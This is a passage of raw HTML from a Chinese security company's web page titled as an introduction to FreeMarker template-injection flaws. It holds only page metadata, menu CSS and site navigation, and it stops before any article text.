<!DOCTYPE html>
<html lang="">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">    <meta name="renderer" content="webkit"/>
    <meta name="force-rendering" content="webkit"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
    <meta name="format-detection" content="telephone=no"/>
            <link rel="shortcut icon" type="image/x-icon" href="/uploads/2023/07/5b969fa44d65fe71a1f97c7e9e8c6395.png" />	
            <title>FreeMarker SSTI漏洞基础 - 北京卓识网安技术股份有限公司</title>        <script id="_CONFIG_">
        window["_CONFIG_"]={"theme":"#E95A30","centerWidth":"1400px","paths":{"static":"\/dist\/"},"sidebar":"no-sidebar","staticVer":"1773309051236-9930","syncload":[],"asyncload":["theme\/static\/lib\/aos\/aos","theme\/static\/js\/register"],"dev":0,"responsive":1,"contextmenu":1,"selectstart":1,"lazyload":1,"current":{"module":"post","type":"post","id":276},"views":"no","show_footer":"no","footer_style":"","footer_slot_style":"","Small_screen":"1180px","login_url":"https:\/\/www.enst.org.cn\/account\/login","agent":"15dfysa4dzzyix"}    </script>
    <link rel="stylesheet" href="/dist/theme/static/css/core.css?ver=1773309051236-9930">
    <link rel="stylesheet" href="/dist/theme/static/css/main.css?ver=1773309051236-9930">
        <link rel="stylesheet" href="/dist/theme/static/css/main.media.css?ver=1773309051236-9930">
        <script src="/dist/theme/static/js/core.js?ver=1773309051236-9930"></script>
    <script src="/dist/theme/static/js/main.js?ver=1773309051236-9930"></script>
    <link rel="stylesheet" class="reload-css" href="/dist/visual/sites/1/style.cssx?lang=&ver=1773309051236-9930">
    <link rel='dns-prefetch' href='//www.enst.org.cn' />
<link rel='canonical' href='https://www.enst.org.cn/276.html' />


    <style class="custom-css-code">
        </style>
</head>
<body class="layout-full-width no-sidebar header-type-immersion header-type-mobile-default responsive">
<div class="App loading">
    <div class="Page ">

        <div class="Page-header">
            <div class="Page-header--main default">
    
<div class="Page-header--main__in container">
    <div class="Page-header--default">
        <div class="Page-header--logo">
<h1>
    <a href="/">
        <img class="all-logo" src="/uploads/2023/09/ed3d09c4c80a2d66b7f125a93175eae9.png" alt="logo">
        <img class="mobile-logo" src="/uploads/2023/09/5c1449e456337eea77bba818371c0612.png" alt="logo-mobile">
    </a>
</h1></div><div class="Page-header--menu"><div class="cc-element--wrapper menu-69b42e7655d9f--wrapper" >
<style style-id="menu-69b42e7655d9f">
[node-id="menu-69b42e7655d9f"].cc-menu.cc-menu--vertical  .cc-menu--nav  .cc-menu--item{box-sizing:border-box;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__line .line_box{background:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--item.current > .line_box{width:100%;} 
[node-id="menu-69b42e7655d9f"] li.menu{color:#000000;} 
[node-id="menu-69b42e7655d9f"] .icon-active{color:#3c3c3c!important;} 
[node-id="menu-69b42e7655d9f"] .item-icon-active{color:#3c3c3c!important;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item  a{font-size:16px;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--nav > .cc-menu--item a{font-size:15px;} 
[node-id="menu-69b42e7655d9f"].cc-menu--horizontal{text-align:right;} 
[node-id="menu-69b42e7655d9f"].cc-menu--horizontal > .cc-menu--nav > .cc-menu--item{height:80px;line-height:80px;padding:0 16px;margin:0 0;} 
[node-id="menu-69b42e7655d9f"].cc-menu--vertical > .cc-menu--nav > .cc-menu--item{margin:0 0;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item .cc-menu--item__link{height:43px;line-height:43px;margin:0 0;} 
[node-id="menu-69b42e7655d9f"].cc-menu--vertical .cc-menu--item{line-height:80px;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__line > .cc-menu--nav >.cc-menu--item{background-color:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item.block,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item.current,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item:hover{background-color:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7655d9f"]{font-size:16px;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--item.block,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--item.current,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--item:hover{border-bottom-color:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item__link{color:#333333;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item:hover > .cc-menu--item__link{color:var(--theme-color);} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item{background-color:rgba(255, 255, 255, 1);} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.block,
    [node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.current,
    [node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item:hover,
    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item.block,
    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item.current,
    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover,
    [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item.block,
    [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item.current,
    [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover{background-color:rgba(233, 90, 48, 1);} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item .cc-menu--item__link{color:#333333;text-align:left;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.current > .cc-menu--item__link{color:#FFFFFF;text-align:left;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link,
                [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#FFFFFF;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item__link{justify-content:flex-start;text-align:left;} 
[node-id="menu-69b42e7655d9f"].cc-menu--auto > .cc-menu--nav{font-size:16px;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--nav .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#FFFFFF;} 
[node-id="menu-69b42e7655d9f"].cc-menu.cc-menu--auto__mini .item-icon-active{color:#3c3c3c!important;} 
@media screen and (min-width: 1180px){[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item .cc-menu--item__link,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.current .cc-menu--item__link{text-align:center;} 
} 
@media only screen and (max-width:1180px){[node-id="menu-69b42e7655d9f"].cc-menu--auto .cc-menu--expand__header{display:block;} 
[node-id="menu-69b42e7655d9f"].cc-menu--auto > .cc-menu--nav{display: none;
        opacity: 0;
        /*position: fixed;*/
        position: relative;
        z-index: 25;
        width: 100%;
        left: 0;
        top: 50px;
        height: calc(100% - 50px);
        padding: 0 10px;
        box-sizing: border-box;
        overflow: hidden;
        overflow-y: auto;} 
} 
@media only screen and (max-width: 1180px){[node-id="menu-69b42e7655d9f"] .cc-menu--item a{font-size:16px;} 
[node-id="menu-69b42e7655d9f"]  .cc-menu--item .cc-menu--nav > .cc-menu--item a{font-size:16px;} 
[node-id="menu-69b42e7655d9f"].cc-menu--horizontal > .cc-menu--nav > .cc-menu--item{height:60px;line-height:60px;padding:0 20px;} 
[node-id="menu-69b42e7655d9f"].cc-menu--vertical > .cc-menu--nav > .cc-menu--item{margin:20px 0;} 
[node-id="menu-69b42e7655d9f"].cc-menu--vertical .cc-menu--item{line-height:60px;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item{background-color:#fff;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item.block,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item.current,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item:hover{background-color:#fff;} 
[node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--item.block,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--item.current,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__line .cc-menu--item:hover{border-bottom-color:#fff;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item__link{color:#3c3c3c;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item.block > .cc-menu--item__link,
    [node-id="menu-69b42e7655d9f"] .cc-menu--item.current > .cc-menu--item__link,
    [node-id="menu-69b42e7655d9f"] .cc-menu--item:hover > .cc-menu--item__link{color:#00b5ae;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item{background-color:#00b5ae;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item:hover > .cc-menu--item__link{color:#00b5ae;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item{background-color:#00b5ae;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.block,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.current,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item:hover,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item.block,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item.current,
                    [node-id="menu-69b42e7655d9f"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover,
                    [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item.block,
                    [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item.current,
                    [node-id="menu-69b42e7655d9f"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover{background-color:#009892;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item .cc-menu--item__link{color:#fff;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--trigger i{color:#000000;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#fff;} 
[node-id="menu-69b42e7655d9f"].cc-menu.cc-menu--auto__mini .cc-menu--trigger i{color:#000000;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item .cc-menu--item__link{height:43px;line-height:43px;margin:0 0;} 
} 
@media only screen and (min-width: 1180px){[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item .cc-menu--item__link > a{width:100%;} 
[node-id="menu-69b42e7655d9f"] .cc-menu--item .cc-menu--item .cc-menu--item__link > a{width:100%;} 
}
</style>
<div node-id="menu-69b42e7655d9f" node-type="menu" class="cc-menu cc-menu--style__default cc-menu--horizontal cc-menu--sub-cen cc-menu--line-main" >
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn" >
                            <span class="cc-menu--item__title">
                                首页
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e5%85%ac%e5%8f%b8%e7%ae%80%e4%bb%8b" >
                            <span class="cc-menu--item__title">
                                关于我们
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e5%85%ac%e5%8f%b8%e7%ae%80%e4%bb%8b" >
                            <span class="cc-menu--item__title">
                                公司简介
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e5%8f%91%e5%b1%95%e5%8e%86%e7%a8%8b" >
                            <span class="cc-menu--item__title">
                                发展历程
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e4%bc%81%e4%b8%9a%e6%96%87%e5%8c%96" >
                            <span class="cc-menu--item__title">
                                企业文化
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e8%8d%a3%e8%aa%89%e8%b5%84%e8%b4%a8" >
                            <span class="cc-menu--item__title">
                                荣誉资质
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e8%af%84%e6%b5%8b" >
                            <span class="cc-menu--item__title">
                                安全服务
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e8%af%84%e6%b5%8b" >
                            <span class="cc-menu--item__title">
                                安全评测
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e6%a3%80%e6%b5%8b" >
                            <span class="cc-menu--item__title">
                                安全检测
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e7%ae%a1%e5%ae%b6" >
                            <span class="cc-menu--item__title">
                                安全管家
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e8%ae%be%e8%ae%a1" >
                            <span class="cc-menu--item__title">
                                安全设计
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e5%92%a8%e8%af%a2" >
                            <span class="cc-menu--item__title">
                                安全咨询
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%ae%89%e5%85%a8%e6%9c%8d%e5%8a%a1/%e5%ae%89%e5%85%a8%e6%95%99%e8%82%b2" >
                            <span class="cc-menu--item__title">
                                安全教育
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e6%8a%80%e6%9c%af%e5%ae%9e%e5%8a%9b" >
                            <span class="cc-menu--item__title">
                                技术实力
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%85%9a%e5%bb%ba%e5%9b%ad%e5%9c%b0" >
                            <span class="cc-menu--item__title">
                                党建园地
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%85%9a%e5%bb%ba%e5%9b%ad%e5%9c%b0/%e5%85%9a%e5%bb%ba%e6%96%b0%e9%97%bb" >
                            <span class="cc-menu--item__title">
                                党建新闻
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e5%85%9a%e5%bb%ba%e5%9b%ad%e5%9c%b0/%e5%ad%a6%e4%b9%a0%e5%9b%ad%e5%9c%b0" >
                            <span class="cc-menu--item__title">
                                学习园地
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%96%b0%e9%97%bb%e4%b8%ad%e5%bf%83/%e8%a1%8c%e4%b8%9a%e6%96%b0%e9%97%bb" >
                            <span class="cc-menu--item__title">
                                新闻中心
                            </span>
                            
                        </a>
                <i class="fas fa-caret-down down-icon"></i>
            </div>
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%96%b0%e9%97%bb%e4%b8%ad%e5%bf%83/%e8%a1%8c%e4%b8%9a%e6%96%b0%e9%97%bb" >
                            <span class="cc-menu--item__title">
                                行业新闻
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%96%b0%e9%97%bb%e4%b8%ad%e5%bf%83/%e5%85%ac%e5%8f%b8%e5%8a%a8%e6%80%81" >
                            <span class="cc-menu--item__title">
                                公司动态
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul>
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e6%94%bf%e7%ad%96%e6%b3%95%e8%a7%84" >
                            <span class="cc-menu--item__title">
                                政策法规
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/%e8%81%94%e7%b3%bb%e6%88%91%e4%bb%ac" >
                            <span class="cc-menu--item__title">
                                联系我们
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="https://www.enst.org.cn/category/%e6%8b%9b%e8%b4%a4%e7%ba%b3%e5%a3%ab" >
                            <span class="cc-menu--item__title">
                                招贤纳士
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    </ul></div>

<script>(function() {
    useComponent('menu').default({"id":"menu-69b42e7655d9f","options":{"hover_show":"no","show_cur_sub":"no","retain_hover":"none","line-style-obj":"main_menu","line-style":"left","mode":"horizontal","style":"default","menu-item-repulsion":"no"}})
})()</script></div></div>
        <div class="Page-header--widgets">
            
<div class="Page-header--search search-style-icon2"><div tabindex="-1" class="search-wrapper">
    
    
            <div class="search-icon2">
            <i style="color:#333333" class="fas fa-search"></i>
        </div>
        <form action="https://www.enst.org.cn" target="_blank">
            <div class="search-input-text">
                <input class="cc-form--input2" type="text" name="search" placeholder="搜索">
                <button class="cc-icon">
                    <i style="color:#000000" class="fa fa-search"></i> 
                </button>
            </div>
        </form>
    
</div>
</div>        </div>

        <div class="Page-slot--template-header_in" template_type="global" template_position="template-header_in" template_id="2"><div node-id="id-70-iluql29gls" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default"><script>(function() {
    useComponent('row').default({"id":"id-70-iluql29gls","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-52-r54sxtxxs5" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-52-r54sxtxxs5","options":[]})
})()</script><div class="cc-element--wrapper id-78-xdjz6840h0--wrapper" >
<style style-id="id-78-xdjz6840h0">
[node-id="id-78-xdjz6840h0"]{border-right-width:1px;border-right-color:rgba(229, 229, 229, 1);border-style:solid;} 
[node-id="id-78-xdjz6840h0"] .cc-textblock__body{padding: 0px;}
</style>
<div node-id="id-78-xdjz6840h0" node-type="textblock" class="cc-textblock" >
    <div class="cc-textblock__body richtext">
        <p style="line-height: 1;">&nbsp;&nbsp;</p>    </div>
</div>

<script>(function() {
    useComponent('textblock').default({"id":"id-78-xdjz6840h0","options":[]})
})()</script></div></div></div></div>    </div>
</div>
</div>
<div class="Page-header--main__placeholder"></div>


<div class="Page-header--mobile default">
            
<div class="Page-header--right-drawer">
    
    <div class="Page-header--icons Page-header--menu">
        <ul>
            <li class="menu">
                <i class="fas fa-align-justify"></i>
            </li>

                    </ul>
    </div>

    <div class="Page-header--logo">
<h1>
    <a href="/">
        <img class="all-logo" src="/uploads/2023/09/ed3d09c4c80a2d66b7f125a93175eae9.png" alt="logo">
        <img class="mobile-logo" src="/uploads/2023/09/5c1449e456337eea77bba818371c0612.png" alt="logo-mobile">
    </a>
</h1></div>
</div>

<div class="Page-header--shade shade-main">

    <div class="Page-header--shade__menu">
        <div class="cc-element--wrapper menu-69b42e7672025--wrapper" >
<style style-id="menu-69b42e7672025">
[node-id="menu-69b42e7672025"].cc-menu.cc-menu--vertical  .cc-menu--nav  .cc-menu--item{box-sizing:border-box;} 
[node-id="menu-69b42e7672025"].cc-menu--style__line .line_box{background:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--item.current > .line_box{width:100%;} 
[node-id="menu-69b42e7672025"] li.menu{color:#000000;} 
[node-id="menu-69b42e7672025"] .icon-active{color:#3c3c3c!important;} 
[node-id="menu-69b42e7672025"] .item-icon-active{color:#3c3c3c!important;} 
[node-id="menu-69b42e7672025"] .cc-menu--item  a{font-size:16px;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--nav > .cc-menu--item a{font-size:15px;} 
[node-id="menu-69b42e7672025"].cc-menu--horizontal{text-align:right;} 
[node-id="menu-69b42e7672025"].cc-menu--horizontal > .cc-menu--nav > .cc-menu--item{height:80px;line-height:80px;padding:0 16px;margin:0 0;} 
[node-id="menu-69b42e7672025"].cc-menu--vertical > .cc-menu--nav > .cc-menu--item{margin:0 0;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item .cc-menu--item__link{height:43px;line-height:43px;margin:0 0;} 
[node-id="menu-69b42e7672025"].cc-menu--vertical .cc-menu--item{line-height:80px;} 
[node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item,
                    [node-id="menu-69b42e7672025"].cc-menu--style__line > .cc-menu--nav >.cc-menu--item{background-color:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item.block,
                    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item.current,
                    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item:hover{background-color:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7672025"]{font-size:16px;} 
[node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--item.block,
                    [node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--item.current,
                    [node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--item:hover{border-bottom-color:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7672025"] .cc-menu--item__link{color:#333333;} 
[node-id="menu-69b42e7672025"] .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="menu-69b42e7672025"] .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="menu-69b42e7672025"] .cc-menu--item:hover > .cc-menu--item__link{color:var(--theme-color);} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item{background-color:rgba(255, 255, 255, 1);} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.block,
    [node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.current,
    [node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item:hover,
    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item.block,
    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item.current,
    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover,
    [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item.block,
    [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item.current,
    [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover{background-color:rgba(233, 90, 48, 1);} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item .cc-menu--item__link{color:#333333;text-align:left;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.current > .cc-menu--item__link{color:#FFFFFF;text-align:left;} 
[node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link,
                [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                [node-id="menu-69b42e7672025"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#FFFFFF;} 
[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item__link{justify-content:flex-start;text-align:left;} 
[node-id="menu-69b42e7672025"].cc-menu--auto > .cc-menu--nav{font-size:16px;} 
[node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--nav .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#FFFFFF;} 
[node-id="menu-69b42e7672025"].cc-menu.cc-menu--auto__mini .item-icon-active{color:#3c3c3c!important;} 
@media screen and (min-width: 1180px){[node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item .cc-menu--item__link,
                    [node-id="menu-69b42e7672025"] .cc-menu--item .cc-menu--item.current .cc-menu--item__link{text-align:center;} 
} 
@media only screen and (max-width:1180px){[node-id="menu-69b42e7672025"].cc-menu--auto .cc-menu--expand__header{display:block;} 
[node-id="menu-69b42e7672025"].cc-menu--auto > .cc-menu--nav{display: none;
        opacity: 0;
        /*position: fixed;*/
        position: relative;
        z-index: 25;
        width: 100%;
        left: 0;
        top: 50px;
        height: calc(100% - 50px);
        padding: 0 10px;
        box-sizing: border-box;
        overflow: hidden;
        overflow-y: auto;} 
} 
@media only screen and (max-width: 1180px){[node-id="menu-69b42e7672025"] .cc-menu--item a{font-size:16px;} 
[node-id="menu-69b42e7672025"]  .cc-menu--item .cc-menu--nav > .cc-menu--item a{font-size:15px;} 
[node-id="menu-69b42e7672025"].cc-menu--horizontal > .cc-menu--nav > .cc-menu--item{height:42px;line-height:42px;padding:0 1px;} 
[node-id="menu-69b42e7672025"].cc-menu--vertical > .cc-menu--nav > .cc-menu--item{margin:1px 0;} 
[node-id="menu-69b42e7672025"].cc-menu--vertical .cc-menu--item{line-height:42px;} 
[node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item{background-color:rgba(255, 255, 255, 0);} 
[node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item.block,
                    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item.current,
                    [node-id="menu-69b42e7672025"].cc-menu--style__default .cc-menu--item:hover{background-color:rgba(233, 90, 48, 1);} 
[node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--item.block,
                    [node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--item.current,
                    [node-id="menu-69b42e7672025"].cc-menu--style__line .cc-menu--item:hover{border-bottom-color:rgba(233, 90, 48, 1);} 
[node-id="menu-69b42e7672025"] .cc-menu--item__link{color:#FFFFFF;} 
[node-id="menu-69b42e7672025"] .cc-menu--item.block > .cc-menu--item__link,
